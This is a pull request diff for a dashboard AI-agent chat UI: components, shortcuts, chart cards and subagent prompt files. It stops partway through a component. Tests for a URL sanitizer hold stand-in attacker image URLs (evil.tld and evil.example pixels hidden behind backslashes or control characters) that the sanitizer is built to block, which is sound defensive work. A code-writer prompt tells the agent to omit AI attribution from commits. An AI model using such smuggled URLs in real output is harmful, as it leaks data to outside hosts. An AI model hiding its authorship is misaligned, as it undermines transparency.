feat(webapp): dashboard agent — UI (#4529)
Stacked on #4418. Merge that first. The UI slice of the dashboard agent: the side panel, the chat transport wiring, message and card rendering, suggested prompts, and chat history. #4418 works without this — the system is simply invisible. The diff is mostly components, so the notes below cover only the three decisions you can't read off the markup. Behavior and a hands-on walkthrough live in GUIDEBOOK.md, which lands with #4525. ## Decisions worth knowing - **Action rows always render at the end of a turn.** The model's emission order isn't trusted for layout, so action blocks are split out of the stream and appended last. Display only — `answered` stays keyed on the emission index. - **The last-chat memory is org-true.** It's keyed by the chat's own organization, and a foreign or deleted chat comes back as a 404 the client treats as gone, rather than an empty chat it keeps around. - **A dead stream self-heals from the settled transcript.** Terminal records are written to the chat row after the client's stream closes, so the panel re-reads it. The poll gate is any unfinished turn — a dangling tool part, not just an open investigation. ## Notes - Gated by `canAccessDashboardAgent`; no behavior change with the flag off. - Page marks: `handle.agentPageContext` on 47 routes, ~20 lines each. - Entry points: Ask Trigger button, ⌘J, Help & Feedback. The old ⌘I and `?aiHelp=` links keep working. ## Screenshots <img width="1440" height="788" alt="Screenshot 2026-08-07 at 15 14 29" src="https://github.com/user-attachments/assets/f4e89e8d-13ed-4be3-a88d-d5cca3ece0fa" />
This commit is contained in:
@@ -4,4 +4,4 @@
|
||||
"trigger.dev": patch
|
||||
---
|
||||
|
||||
Chat in the browser now reconnects when the connection drops mid-turn, instead of leaving the reply stuck as if it were still generating. Reports can be fetched as structured data with the `json` format, and the shortest report period is now one minute (`30m`, `1h`, `7d`). The `mint-token` command's help is clearer too: a token minted without `--cap` is read-only, and `--ttl` shows the correct maximum lifetime of 7 days.
|
||||
Chat in the browser now reconnects when the connection drops mid-turn, instead of leaving the reply stuck as if it were still generating. Reports can be fetched as structured data with the `json` format, and the shortest report period is now one minute (`1m`, `30m`, `1h`, `7d`). The `mint-token` command's help is clearer too: a token minted without `--cap` is read-only, and `--ttl` shows the correct maximum lifetime of 7 days.
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
---
|
||||
name: code-reviewer
|
||||
description: Adversarially verifies one landed packet against its requirement; read-only.
|
||||
model: opus
|
||||
---
|
||||
|
||||
You are an adversarial code reviewer for one landed packet. READ-ONLY: never modify code, never commit, never push, never post to GitHub.
|
||||
|
||||
- Try to refute that the change answers its stated requirement; look for the failure scenario, not confirmation.
|
||||
- Check the diff for unrelated drift, dead code, broken semantics of neighbors, and whether tests prove the actual invariant (would the test fail if the fix were subtly wrong?).
|
||||
- Check the change landed in the correct PR/branch of the stack.
|
||||
- Distinguish fact from inference; cite exact file:line evidence.
|
||||
- Return: verdict (approve / needs-changes) with evidence per concern, and the exact minimal correction when needs-changes.
|
||||
@@ -0,0 +1,16 @@
|
||||
---
|
||||
name: code-writer
|
||||
description: Implements exactly one work packet — minimal diff, targeted checks, own-paths-only commits.
|
||||
model: opus
|
||||
---
|
||||
|
||||
You are a code writer. Implement exactly the one work packet in your prompt.
|
||||
|
||||
- Minimal diff; match surrounding style and idiom.
|
||||
- Prefer no comment at all; comment only a non-obvious constraint, max 2 short lines. All texts (comments, commit messages) short, clear, simple.
|
||||
- Verify the packet's own diagnosis against the code before applying; if it is wrong, STOP without committing and report why.
|
||||
- Run only the targeted checks for your packet: the relevant vitest files, `pnpm run typecheck --filter <pkg>` when the change warrants it. Never full suites unless asked.
|
||||
- `pnpm run format` on touched files before committing.
|
||||
- Stage and commit ONLY your packet's files. Conventional commit message. NO Claude attribution, no Co-Authored-By.
|
||||
- Push only if the packet explicitly says to.
|
||||
- Return: what changed, evidence (test output), commit SHA, and anything contradicting the diagnosis.
|
||||
@@ -0,0 +1,12 @@
|
||||
---
|
||||
name: software-architect
|
||||
description: Resolves contested design questions against the specs; decision + rationale, never code.
|
||||
model: opus
|
||||
---
|
||||
|
||||
You are a software architect. Resolve exactly the contested design question in your prompt against the given specs/contracts. READ-ONLY.
|
||||
|
||||
- Ground the decision in the actual code and the project's design contracts (GUIDEBOOK, Linear specs) — not in generic best practice.
|
||||
- Weigh stack boundaries: which PR owns the change, what merges independently.
|
||||
- Prefer the smallest decision that unblocks the packet; flag speculative architecture rather than endorsing it.
|
||||
- Return: the decision, its rationale, rejected alternatives (one line each), and exactly what the dependent packet should do.
|
||||
@@ -1,7 +1,7 @@
|
||||
/**
|
||||
* @deprecated Superseded by the dashboard agent (`components/dashboard-agent`). Nothing mounts
|
||||
* this any more — every Ask AI entry point now opens Ask Trigger. Kept until the agent has
|
||||
* shipped, then removed along with `@kapaai/react-sdk` and `KAPA_AI_WEBSITE_ID`.
|
||||
* Mostly superseded by the dashboard agent (`components/dashboard-agent`), which owns every
|
||||
* entry point except two: ⌘I and the CLI's `?aiHelp=` link still open Ask AI. `AskAIRoot` is
|
||||
* mounted by the `_app` layout for those; the `AskAI` button below is mounted nowhere.
|
||||
*/
|
||||
|
||||
import {
|
||||
@@ -17,13 +17,17 @@ import { useSearchParams } from "@remix-run/react";
|
||||
import DOMPurify from "dompurify";
|
||||
import { motion } from "framer-motion";
|
||||
import { marked } from "marked";
|
||||
import { type ReactNode, useCallback, useEffect, useRef, useState } from "react";
|
||||
import { useTypedRouteLoaderData } from "remix-typedjson";
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import { AISparkleIcon } from "~/assets/icons/AISparkleIcon";
|
||||
import { SparkleListIcon } from "~/assets/icons/SparkleListIcon";
|
||||
import { useFeatures } from "~/hooks/useFeatures";
|
||||
import { useAskAiAvailability } from "~/hooks/useAskAiAvailability";
|
||||
import { useShortcutKeys } from "~/hooks/useShortcutKeys";
|
||||
import { type loader } from "~/root";
|
||||
import {
|
||||
ASK_AI_DEEP_LINK_PARAM,
|
||||
ASK_AI_SHORTCUT,
|
||||
askAiCanOpen,
|
||||
} from "./dashboard-agent/ask-ai-channels";
|
||||
import { useAskAiHost } from "./dashboard-agent/askAiOpenRequest";
|
||||
import { Button } from "./primitives/Buttons";
|
||||
import { Callout } from "./primitives/Callout";
|
||||
import { Dialog, DialogContent, DialogHeader, DialogTitle } from "./primitives/Dialog";
|
||||
@@ -40,11 +44,6 @@ import {
|
||||
} from "./primitives/Tooltip";
|
||||
import { ClientOnly } from "remix-utils/client-only";
|
||||
|
||||
function useKapaWebsiteId() {
|
||||
const routeMatch = useTypedRouteLoaderData<typeof loader>("root");
|
||||
return routeMatch?.kapa.websiteId;
|
||||
}
|
||||
|
||||
/** Open/close state for the Ask AI dialog, including the `?aiHelp=` deep-link handling. */
|
||||
function useAskAIState() {
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
@@ -67,14 +66,14 @@ function useAskAIState() {
|
||||
|
||||
// Handle URL param functionality
|
||||
useEffect(() => {
|
||||
const aiHelp = searchParams.get("aiHelp");
|
||||
const aiHelp = searchParams.get(ASK_AI_DEEP_LINK_PARAM);
|
||||
if (aiHelp) {
|
||||
// Delay to avoid hCaptcha bot detection
|
||||
window.setTimeout(() => openAskAI(aiHelp), 1000);
|
||||
|
||||
// Clone instead of mutating in place
|
||||
const next = new URLSearchParams(searchParams);
|
||||
next.delete("aiHelp");
|
||||
next.delete(ASK_AI_DEEP_LINK_PARAM);
|
||||
setSearchParams(next);
|
||||
}
|
||||
}, [searchParams, openAskAI]);
|
||||
@@ -83,45 +82,30 @@ function useAskAIState() {
|
||||
}
|
||||
|
||||
/**
|
||||
* Hosts Ask AI (Kapa provider, ⌘I shortcut, dialog) for a menu that renders its own trigger. Wrap
|
||||
* it around the popover, not inside, so the dialog and shortcut survive the popover closing.
|
||||
* `children` receives the open function, or undefined when Ask AI is unavailable (self-hosted, no
|
||||
* Kapa website id, or SSR).
|
||||
*
|
||||
* @deprecated See the note at the top of this file.
|
||||
* Hosts Ask AI (Kapa provider, ⌘I shortcut, dialog). It renders no page content and wraps
|
||||
* nothing: entry points reach it through `requestAskAi`, so the Kapa provider mounting after
|
||||
* hydration can never remount the app around it.
|
||||
*/
|
||||
export function AskAIRoot({
|
||||
children,
|
||||
}: {
|
||||
children: (openAskAI: (() => void) | undefined) => ReactNode;
|
||||
}) {
|
||||
const { isManagedCloud } = useFeatures();
|
||||
const websiteId = useKapaWebsiteId();
|
||||
export function AskAIRoot() {
|
||||
const availability = useAskAiAvailability();
|
||||
|
||||
if (!isManagedCloud || !websiteId) {
|
||||
return <>{children(undefined)}</>;
|
||||
if (!askAiCanOpen(availability)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<ClientOnly fallback={<>{children(undefined)}</>}>
|
||||
{() => <AskAIRootProvider websiteId={websiteId}>{children}</AskAIRootProvider>}
|
||||
</ClientOnly>
|
||||
);
|
||||
const websiteId = availability.kapaWebsiteId!;
|
||||
|
||||
return <ClientOnly>{() => <AskAIRootProvider websiteId={websiteId} />}</ClientOnly>;
|
||||
}
|
||||
|
||||
function AskAIRootProvider({
|
||||
websiteId,
|
||||
children,
|
||||
}: {
|
||||
websiteId: string;
|
||||
children: (openAskAI: () => void) => ReactNode;
|
||||
}) {
|
||||
function AskAIRootProvider({ websiteId }: { websiteId: string }) {
|
||||
const { isOpen, setIsOpen, initialQuery, openAskAI, closeAskAI } = useAskAIState();
|
||||
|
||||
useShortcutKeys({
|
||||
shortcut: { modifiers: ["mod"], key: "i", enabledOnInputElements: true },
|
||||
shortcut: ASK_AI_SHORTCUT,
|
||||
action: () => openAskAI(),
|
||||
});
|
||||
useAskAiHost(openAskAI);
|
||||
|
||||
return (
|
||||
<KapaProvider
|
||||
@@ -134,7 +118,6 @@ function AskAIRootProvider({
|
||||
}}
|
||||
botProtectionMechanism="hcaptcha"
|
||||
>
|
||||
{children(() => openAskAI())}
|
||||
<AskAIDialog
|
||||
initialQuery={initialQuery}
|
||||
isOpen={isOpen}
|
||||
@@ -145,15 +128,16 @@ function AskAIRootProvider({
|
||||
);
|
||||
}
|
||||
|
||||
/** @deprecated See the note at the top of this file. */
|
||||
/** @deprecated Mounted nowhere: the sidebar's AI entry point is the dashboard agent. */
|
||||
export function AskAI({ isCollapsed = false }: { isCollapsed?: boolean }) {
|
||||
const { isManagedCloud } = useFeatures();
|
||||
const websiteId = useKapaWebsiteId();
|
||||
const availability = useAskAiAvailability();
|
||||
|
||||
if (!isManagedCloud || !websiteId) {
|
||||
if (!askAiCanOpen(availability)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const websiteId = availability.kapaWebsiteId!;
|
||||
|
||||
return (
|
||||
<ClientOnly
|
||||
fallback={
|
||||
|
||||
@@ -35,7 +35,7 @@ import {
|
||||
v3NewProjectAlertPath,
|
||||
v3NewSchedulePath,
|
||||
} from "~/utils/pathBuilder";
|
||||
import { AskAI } from "./AskAI";
|
||||
import { AskAgentButton } from "./dashboard-agent/AskAgentButton";
|
||||
import { CodeBlock } from "./code/CodeBlock";
|
||||
import { useDevPresence } from "./DevPresence";
|
||||
import { InlineCode } from "./code/InlineCode";
|
||||
@@ -65,6 +65,55 @@ import {
|
||||
import { StepContentContainer } from "./StepContentContainer";
|
||||
import { V4Badge } from "./V4Badge";
|
||||
|
||||
/**
|
||||
* What the agent is asked when it's opened from a deployment setup panel. The panel is the docs
|
||||
* answer; the agent is for the part the docs can't answer — this project, this environment.
|
||||
*/
|
||||
const ASK_AGENT_DEPLOY_PROMPT =
|
||||
"I'm trying to deploy my tasks to this environment. Walk me through it and tell me if anything about this project or environment is going to get in the way.";
|
||||
|
||||
/** The docs links the deployment panels offer to anyone without the agent. */
|
||||
function DeployDocsLinks() {
|
||||
return (
|
||||
<>
|
||||
<SimpleTooltip
|
||||
asChild
|
||||
tabbable
|
||||
button={
|
||||
// Span wrapper: LinkButton drops the pointer-event props Radix injects via asChild, so
|
||||
// the tooltip trigger has to be a plain element (same pattern as FavoritePageButton).
|
||||
<span className="flex">
|
||||
<LinkButton
|
||||
variant="small-menu-item"
|
||||
LeadingIcon={BookOpenIcon}
|
||||
leadingIconClassName="text-blue-500"
|
||||
to={docsPath("deployment/overview")}
|
||||
aria-label="Deploy docs"
|
||||
/>
|
||||
</span>
|
||||
}
|
||||
content="Deploy docs"
|
||||
/>
|
||||
<SimpleTooltip
|
||||
asChild
|
||||
tabbable
|
||||
button={
|
||||
<span className="flex">
|
||||
<LinkButton
|
||||
variant="small-menu-item"
|
||||
LeadingIcon={QuestionMarkCircleIcon}
|
||||
leadingIconClassName="text-blue-500"
|
||||
to={docsPath("troubleshooting#deployment")}
|
||||
aria-label="Troubleshooting docs"
|
||||
/>
|
||||
</span>
|
||||
}
|
||||
content="Troubleshooting docs"
|
||||
/>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
export function HasNoTasksDev({ initializedAt }: { initializedAt: Date | string | null }) {
|
||||
const { isConnected } = useDevPresence();
|
||||
const initialized = !!initializedAt;
|
||||
@@ -330,29 +379,10 @@ export function DeploymentsNoneDev() {
|
||||
<Header1>Deploy your tasks</Header1>
|
||||
</div>
|
||||
<div className="flex items-center">
|
||||
<SimpleTooltip
|
||||
button={
|
||||
<LinkButton
|
||||
variant="small-menu-item"
|
||||
LeadingIcon={BookOpenIcon}
|
||||
leadingIconClassName="text-blue-500"
|
||||
to={docsPath("deployment/overview")}
|
||||
/>
|
||||
}
|
||||
content="Deploy docs"
|
||||
/>
|
||||
<SimpleTooltip
|
||||
button={
|
||||
<LinkButton
|
||||
variant="small-menu-item"
|
||||
LeadingIcon={QuestionMarkCircleIcon}
|
||||
leadingIconClassName="text-blue-500"
|
||||
to={docsPath("troubleshooting#deployment")}
|
||||
/>
|
||||
}
|
||||
content="Troubleshooting docs"
|
||||
/>
|
||||
<AskAI />
|
||||
{/* One entry point instead of two: the docs links were a guess at which page you
|
||||
needed, and the agent can look at this project and answer for it. Someone with no
|
||||
agent still gets the links. */}
|
||||
<AskAgentButton prompt={ASK_AGENT_DEPLOY_PROMPT} fallback={<DeployDocsLinks />} />
|
||||
</div>
|
||||
</div>
|
||||
<StepNumber stepNumber="→" title="Switch to a deployed environment" />
|
||||
@@ -718,29 +748,10 @@ function DeploymentOnboardingSteps() {
|
||||
</Header1>
|
||||
</div>
|
||||
<div className="flex items-center">
|
||||
<SimpleTooltip
|
||||
button={
|
||||
<LinkButton
|
||||
variant="small-menu-item"
|
||||
LeadingIcon={BookOpenIcon}
|
||||
leadingIconClassName="text-blue-500"
|
||||
to={docsPath("deployment/overview")}
|
||||
/>
|
||||
}
|
||||
content="Deploy docs"
|
||||
/>
|
||||
<SimpleTooltip
|
||||
button={
|
||||
<LinkButton
|
||||
variant="small-menu-item"
|
||||
LeadingIcon={QuestionMarkCircleIcon}
|
||||
leadingIconClassName="text-blue-500"
|
||||
to={docsPath("troubleshooting#deployment")}
|
||||
/>
|
||||
}
|
||||
content="Troubleshooting docs"
|
||||
/>
|
||||
<AskAI />
|
||||
{/* One entry point instead of two: the docs links were a guess at which page you
|
||||
needed, and the agent can look at this project and answer for it. Someone with no
|
||||
agent still gets the links. */}
|
||||
<AskAgentButton prompt={ASK_AGENT_DEPLOY_PROMPT} fallback={<DeployDocsLinks />} />
|
||||
</div>
|
||||
</div>
|
||||
<ClientTabs defaultValue="github">
|
||||
|
||||
@@ -1,5 +1,12 @@
|
||||
import { KeyboardIcon } from "~/assets/icons/KeyboardIcon";
|
||||
import { useState } from "react";
|
||||
import { ASK_AGENT_LABEL } from "~/components/dashboard-agent/agent-identity";
|
||||
import { type AiShortcutRow, aiShortcutRows } from "~/components/dashboard-agent/ai-entry-points";
|
||||
import { ASK_AI_SHORTCUT, askAiCanOpen } from "~/components/dashboard-agent/ask-ai-channels";
|
||||
import { useDashboardAgentAvailable } from "~/components/dashboard-agent/dashboardAgentOpenRequest";
|
||||
import { NEW_CHAT_SHORTCUT } from "~/components/dashboard-agent/DashboardAgentHeader";
|
||||
import { TOGGLE_PANEL_SHORTCUT } from "~/components/dashboard-agent/dashboardAgentLauncher";
|
||||
import { useAskAiAvailability } from "~/hooks/useAskAiAvailability";
|
||||
import { useShortcutKeys } from "~/hooks/useShortcutKeys";
|
||||
import { Header3 } from "./primitives/Headers";
|
||||
import { SideMenuItemButton } from "./navigation/SideMenuItem";
|
||||
@@ -41,6 +48,11 @@ export function ShortcutsAutoOpen() {
|
||||
}
|
||||
|
||||
function ShortcutContent() {
|
||||
const agent = useDashboardAgentAvailable();
|
||||
const askAi = askAiCanOpen(useAskAiAvailability());
|
||||
const rows = aiShortcutRows({ agent, askAi });
|
||||
const shows = (row: AiShortcutRow) => rows.includes(row);
|
||||
|
||||
return (
|
||||
<SheetContent>
|
||||
<SheetHeader>
|
||||
@@ -62,10 +74,27 @@ function ShortcutContent() {
|
||||
<ShortcutKey shortcut={{ modifiers: ["mod"] }} variant="medium/bright" />
|
||||
<ShortcutKey shortcut={{ key: "enter" }} variant="medium/bright" />
|
||||
</Shortcut>
|
||||
<Shortcut name="Ask AI">
|
||||
<ShortcutKey shortcut={{ modifiers: ["mod"] }} variant="medium/bright" />
|
||||
<ShortcutKey shortcut={{ key: "i" }} variant="medium/bright" />
|
||||
</Shortcut>
|
||||
{shows("agent-toggle") && (
|
||||
<Shortcut name={ASK_AGENT_LABEL}>
|
||||
<ShortcutKey
|
||||
shortcut={{ modifiers: TOGGLE_PANEL_SHORTCUT.modifiers }}
|
||||
variant="medium/bright"
|
||||
/>
|
||||
<ShortcutKey
|
||||
shortcut={{ key: TOGGLE_PANEL_SHORTCUT.key }}
|
||||
variant="medium/bright"
|
||||
/>
|
||||
</Shortcut>
|
||||
)}
|
||||
{shows("ask-ai") && (
|
||||
<Shortcut name="Ask AI">
|
||||
<ShortcutKey
|
||||
shortcut={{ modifiers: ASK_AI_SHORTCUT.modifiers }}
|
||||
variant="medium/bright"
|
||||
/>
|
||||
<ShortcutKey shortcut={{ key: ASK_AI_SHORTCUT.key }} variant="medium/bright" />
|
||||
</Shortcut>
|
||||
)}
|
||||
<Shortcut name="Filter">
|
||||
<ShortcutKey shortcut={{ key: "f" }} variant="medium/bright" />
|
||||
</Shortcut>
|
||||
@@ -94,6 +123,23 @@ function ShortcutContent() {
|
||||
<ShortcutKey shortcut={{ key: "h" }} variant="medium/bright" />
|
||||
</Shortcut>
|
||||
</div>
|
||||
{shows("agent-new-chat") && (
|
||||
<div className="space-y-3">
|
||||
<Header3>Chat</Header3>
|
||||
<Shortcut name="New chat">
|
||||
<ShortcutKey
|
||||
shortcut={{ modifiers: NEW_CHAT_SHORTCUT.modifiers }}
|
||||
variant="medium/bright"
|
||||
/>
|
||||
<ShortcutKey shortcut={{ key: NEW_CHAT_SHORTCUT.key }} variant="medium/bright" />
|
||||
</Shortcut>
|
||||
{shows("agent-close-chat") && (
|
||||
<Shortcut name="Close chat">
|
||||
<ShortcutKey shortcut={{ key: "esc" }} variant="medium/bright" />
|
||||
</Shortcut>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
<div className="space-y-3">
|
||||
<Header3>Runs page</Header3>
|
||||
<Shortcut name="Bulk action: Cancel runs">
|
||||
|
||||
@@ -20,6 +20,16 @@ describe("restrictModelUrls (image src)", () => {
|
||||
expect(restrictModelUrls("//evil.tld/pixel.gif", "src", img)).toBeUndefined();
|
||||
});
|
||||
|
||||
it("drops a backslash-authority image, which the browser reads as protocol-relative", () => {
|
||||
expect(restrictModelUrls("\\\\evil.example/pixel.gif", "src", img)).toBeUndefined();
|
||||
expect(restrictModelUrls("/\\evil.example/pixel.gif", "src", img)).toBeUndefined();
|
||||
});
|
||||
|
||||
it("drops an image hidden behind a leading C0 control, which the URL parser discards", () => {
|
||||
expect(restrictModelUrls("\u0001//evil.tld/p.gif", "src", img)).toBeUndefined();
|
||||
expect(restrictModelUrls("\u0000https://evil.tld/p.gif", "src", img)).toBeUndefined();
|
||||
});
|
||||
|
||||
it("keeps inline and same-origin images", () => {
|
||||
expect(restrictModelUrls("data:image/png;base64,AAAA", "src", img)).toBe(
|
||||
"data:image/png;base64,AAAA"
|
||||
|
||||
@@ -12,18 +12,25 @@ const SAFE_LINK_SCHEMES = new Set(["http:", "https:", "mailto:"]);
|
||||
export const restrictModelUrls: UrlTransform = (url, key, node) => {
|
||||
const value = url.trim();
|
||||
const isImage = node.tagName === "img" || key === "src" || key === "srcset";
|
||||
// What the browser will actually resolve, which is not what `trim()` leaves: the URL parser
|
||||
// drops C0 controls (`trim()` keeps them) and reads `\` as `/` for special schemes, so
|
||||
// a leading-control `//evil.tld` and `\\evil.tld` both name a remote host. Classify on this; return the
|
||||
// original `url` untouched whenever it is allowed.
|
||||
const normalized = value
|
||||
.replace(/[\u0000-\u001f]/g, "")
|
||||
.replace(/^[/\\]+/, (run) => "/".repeat(run.length));
|
||||
|
||||
if (isImage) {
|
||||
// Inline images carry their own bytes; a relative path resolves to our own origin.
|
||||
if (/^data:/i.test(value) || /^blob:/i.test(value)) return url;
|
||||
if (/^data:/i.test(normalized) || /^blob:/i.test(normalized)) return url;
|
||||
// Absolute or protocol-relative means a remote host — strip it so nothing is fetched.
|
||||
if (/^[a-z][a-z0-9+.-]*:/i.test(value) || value.startsWith("//")) return undefined;
|
||||
if (/^[a-z][a-z0-9+.-]*:/i.test(normalized) || normalized.startsWith("//")) return undefined;
|
||||
return url;
|
||||
}
|
||||
|
||||
// Links: relative and protocol-relative are fine; otherwise require a safe scheme.
|
||||
if (value.startsWith("//")) return url;
|
||||
const schemeMatch = /^([a-z][a-z0-9+.-]*):/i.exec(value);
|
||||
if (normalized.startsWith("//")) return url;
|
||||
const schemeMatch = /^([a-z][a-z0-9+.-]*):/i.exec(normalized);
|
||||
if (!schemeMatch) return url;
|
||||
return SAFE_LINK_SCHEMES.has(`${schemeMatch[1].toLowerCase()}:`) ? url : undefined;
|
||||
};
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
import type {
|
||||
ActionsBlock as ActionsBlockPayload,
|
||||
AgentIntent,
|
||||
} from "@internal/dashboard-agent-contracts";
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { ChatActionsRow } from "./chat-layout";
|
||||
import { renderableActions } from "./view-actions";
|
||||
|
||||
export function ActionsBlock({
|
||||
block,
|
||||
onIntent,
|
||||
}: {
|
||||
block: ActionsBlockPayload;
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
}) {
|
||||
const renderable = renderableActions(block.actions);
|
||||
if (!onIntent || renderable.length === 0) return null;
|
||||
return (
|
||||
<ChatActionsRow>
|
||||
{renderable.map((action, i) => (
|
||||
<Button
|
||||
key={i}
|
||||
variant={i === 0 ? "primary/small" : "secondary/small"}
|
||||
onClick={() => onIntent(action.intent as AgentIntent)}
|
||||
>
|
||||
{action.label}
|
||||
</Button>
|
||||
))}
|
||||
</ChatActionsRow>
|
||||
);
|
||||
}
|
||||
@@ -1,18 +1,18 @@
|
||||
import type { OutputColumnMetadata } from "@internal/clickhouse";
|
||||
import type { ChartBlock } from "@internal/dashboard-agent";
|
||||
import type { AgentIntent, ChartAction } from "@internal/dashboard-agent-contracts";
|
||||
import { useEffect, useState } from "react";
|
||||
import { QueryResultsChart } from "~/components/code/QueryResultsChart";
|
||||
import type { ChartConfiguration } from "~/components/metrics/QueryWidget";
|
||||
import { Spinner } from "~/components/primitives/Spinner";
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { AgentSpinner } from "~/components/primitives/Spinner";
|
||||
import { useOptionalEnvironment } from "~/hooks/useEnvironment";
|
||||
import { useOptionalOrganization } from "~/hooks/useOrganizations";
|
||||
import { useOptionalProject } from "~/hooks/useProject";
|
||||
|
||||
// Render an agent "chart" block by running its TRQL query through the dashboard's
|
||||
// own /resources/metric endpoint (session-authed, returns rows + real column
|
||||
// metadata) and feeding the result into QueryResultsChart. So the chart is live
|
||||
// and matches the Query page exactly: the agent only emits the query + chart
|
||||
// config, never the rows. Runs against the project/env the panel is open in.
|
||||
import { cn } from "~/utils/cn";
|
||||
import { AgentCard, AgentCardHeader } from "./agent-card";
|
||||
import { ChatActionsRow } from "./chat-layout";
|
||||
import { renderableActions } from "./view-actions";
|
||||
|
||||
type MetricResponse =
|
||||
| { success: false; error: string }
|
||||
@@ -25,6 +25,18 @@ type MetricResponse =
|
||||
};
|
||||
};
|
||||
|
||||
// `chartBlockBodySchema` carries only `period`, so scope and from/to are fixed here.
|
||||
const CHART_SCOPE = "environment";
|
||||
const CHART_FROM = null;
|
||||
const CHART_TO = null;
|
||||
// `min-h` as well: the chart draws nothing at zero height if a flex parent collapses it.
|
||||
const CHART_HEIGHT_CLASS = "h-64 min-h-64";
|
||||
const CHART_PADDING_CLASS = "px-2 pb-2 pt-4";
|
||||
export const AGENT_CHART_PLOT_CLASS = `w-full ${CHART_PADDING_CLASS} ${CHART_HEIGHT_CLASS}`;
|
||||
|
||||
// Query errors can carry SQL and schema detail, so the real one only goes to the console.
|
||||
const CHART_ERROR_MESSAGE = "This chart's query couldn't run.";
|
||||
|
||||
type ChartState =
|
||||
| { status: "loading" }
|
||||
| { status: "error"; error: string }
|
||||
@@ -35,7 +47,39 @@ type ChartState =
|
||||
timeRange?: { from: string; to: string };
|
||||
};
|
||||
|
||||
export function AgentChart({ block }: { block: ChartBlock }) {
|
||||
export function ChartActions({
|
||||
actions,
|
||||
onIntent,
|
||||
}: {
|
||||
actions: ChartAction[];
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
}) {
|
||||
const renderable = renderableActions(actions);
|
||||
if (!onIntent || renderable.length === 0) return null;
|
||||
return (
|
||||
<div className="border-t border-grid-bright px-2 pb-2 pt-2">
|
||||
<ChatActionsRow>
|
||||
{renderable.map((action, i) => (
|
||||
<Button
|
||||
key={i}
|
||||
variant={i === 0 ? "primary/small" : "secondary/small"}
|
||||
onClick={() => onIntent(action.intent as AgentIntent)}
|
||||
>
|
||||
{action.label}
|
||||
</Button>
|
||||
))}
|
||||
</ChatActionsRow>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function AgentChart({
|
||||
block,
|
||||
onIntent,
|
||||
}: {
|
||||
block: ChartBlock;
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
}) {
|
||||
const organization = useOptionalOrganization();
|
||||
const project = useOptionalProject();
|
||||
const environment = useOptionalEnvironment();
|
||||
@@ -46,8 +90,7 @@ export function AgentChart({ block }: { block: ChartBlock }) {
|
||||
const environmentId = environment?.id;
|
||||
|
||||
useEffect(() => {
|
||||
// The block can render before its `query` has finished streaming in; wait
|
||||
// for it rather than POST an empty query (which 400s).
|
||||
// The block can render before `query` has streamed in; an empty query 400s.
|
||||
if (!block.query) return;
|
||||
if (!organizationId || !projectId || !environmentId) {
|
||||
setState({ status: "error", error: "No environment context to run the query." });
|
||||
@@ -63,10 +106,10 @@ export function AgentChart({ block }: { block: ChartBlock }) {
|
||||
organizationId,
|
||||
projectId,
|
||||
environmentId,
|
||||
scope: "environment",
|
||||
scope: CHART_SCOPE,
|
||||
period: block.period ?? null,
|
||||
from: null,
|
||||
to: null,
|
||||
from: CHART_FROM,
|
||||
to: CHART_TO,
|
||||
userAuthoredQuery: true,
|
||||
}),
|
||||
signal: controller.signal,
|
||||
@@ -75,7 +118,8 @@ export function AgentChart({ block }: { block: ChartBlock }) {
|
||||
.then((data) => {
|
||||
if (controller.signal.aborted) return;
|
||||
if (!data.success) {
|
||||
setState({ status: "error", error: data.error });
|
||||
console.error("Dashboard agent chart query failed:", data.error);
|
||||
setState({ status: "error", error: CHART_ERROR_MESSAGE });
|
||||
} else {
|
||||
setState({
|
||||
status: "ready",
|
||||
@@ -87,7 +131,8 @@ export function AgentChart({ block }: { block: ChartBlock }) {
|
||||
})
|
||||
.catch((err) => {
|
||||
if (controller.signal.aborted) return;
|
||||
setState({ status: "error", error: err?.message ?? "The query failed to run." });
|
||||
console.error("Dashboard agent chart request failed:", err);
|
||||
setState({ status: "error", error: CHART_ERROR_MESSAGE });
|
||||
});
|
||||
return () => controller.abort();
|
||||
}, [block.query, block.period, organizationId, projectId, environmentId]);
|
||||
@@ -104,16 +149,16 @@ export function AgentChart({ block }: { block: ChartBlock }) {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="overflow-hidden rounded-lg border border-border-bright bg-background-dimmed">
|
||||
<AgentCard>
|
||||
{block.title ? (
|
||||
<div className="border-b border-grid-bright bg-background-bright px-3 py-2 text-xs font-medium text-text-dimmed">
|
||||
<AgentCardHeader className="text-xs font-medium text-text-dimmed">
|
||||
{block.title}
|
||||
</div>
|
||||
</AgentCardHeader>
|
||||
) : null}
|
||||
<div className="h-64 w-full p-2">
|
||||
<div className={cn(AGENT_CHART_PLOT_CLASS)}>
|
||||
{state.status === "loading" ? (
|
||||
<div className="flex h-full items-center justify-center gap-2 text-xs text-text-dimmed">
|
||||
<Spinner className="size-3" />
|
||||
<AgentSpinner size={12} />
|
||||
Running query…
|
||||
</div>
|
||||
) : state.status === "error" ? (
|
||||
@@ -129,6 +174,7 @@ export function AgentChart({ block }: { block: ChartBlock }) {
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<ChartActions actions={block.actions ?? []} onIntent={onIntent} />
|
||||
</AgentCard>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
import { Link } from "@remix-run/react";
|
||||
import { LinkButton } from "~/components/primitives/Buttons";
|
||||
import { useOrganization } from "~/hooks/useOrganizations";
|
||||
import { cn } from "~/utils/cn";
|
||||
import { v3BillingPath } from "~/utils/pathBuilder";
|
||||
import { AgentIcon, AGENT_ICON_ACCENT_CLASS, ASK_AGENT_LABEL } from "./agent-identity";
|
||||
|
||||
// Matches the composer's outer geometry so the replacement lands in the same place.
|
||||
const SLOT = "flex shrink-0 flex-col bg-background-bright px-3 pb-3 pt-1";
|
||||
|
||||
export function AgentUpgradeBlock({
|
||||
limit,
|
||||
context,
|
||||
}: {
|
||||
limit: number;
|
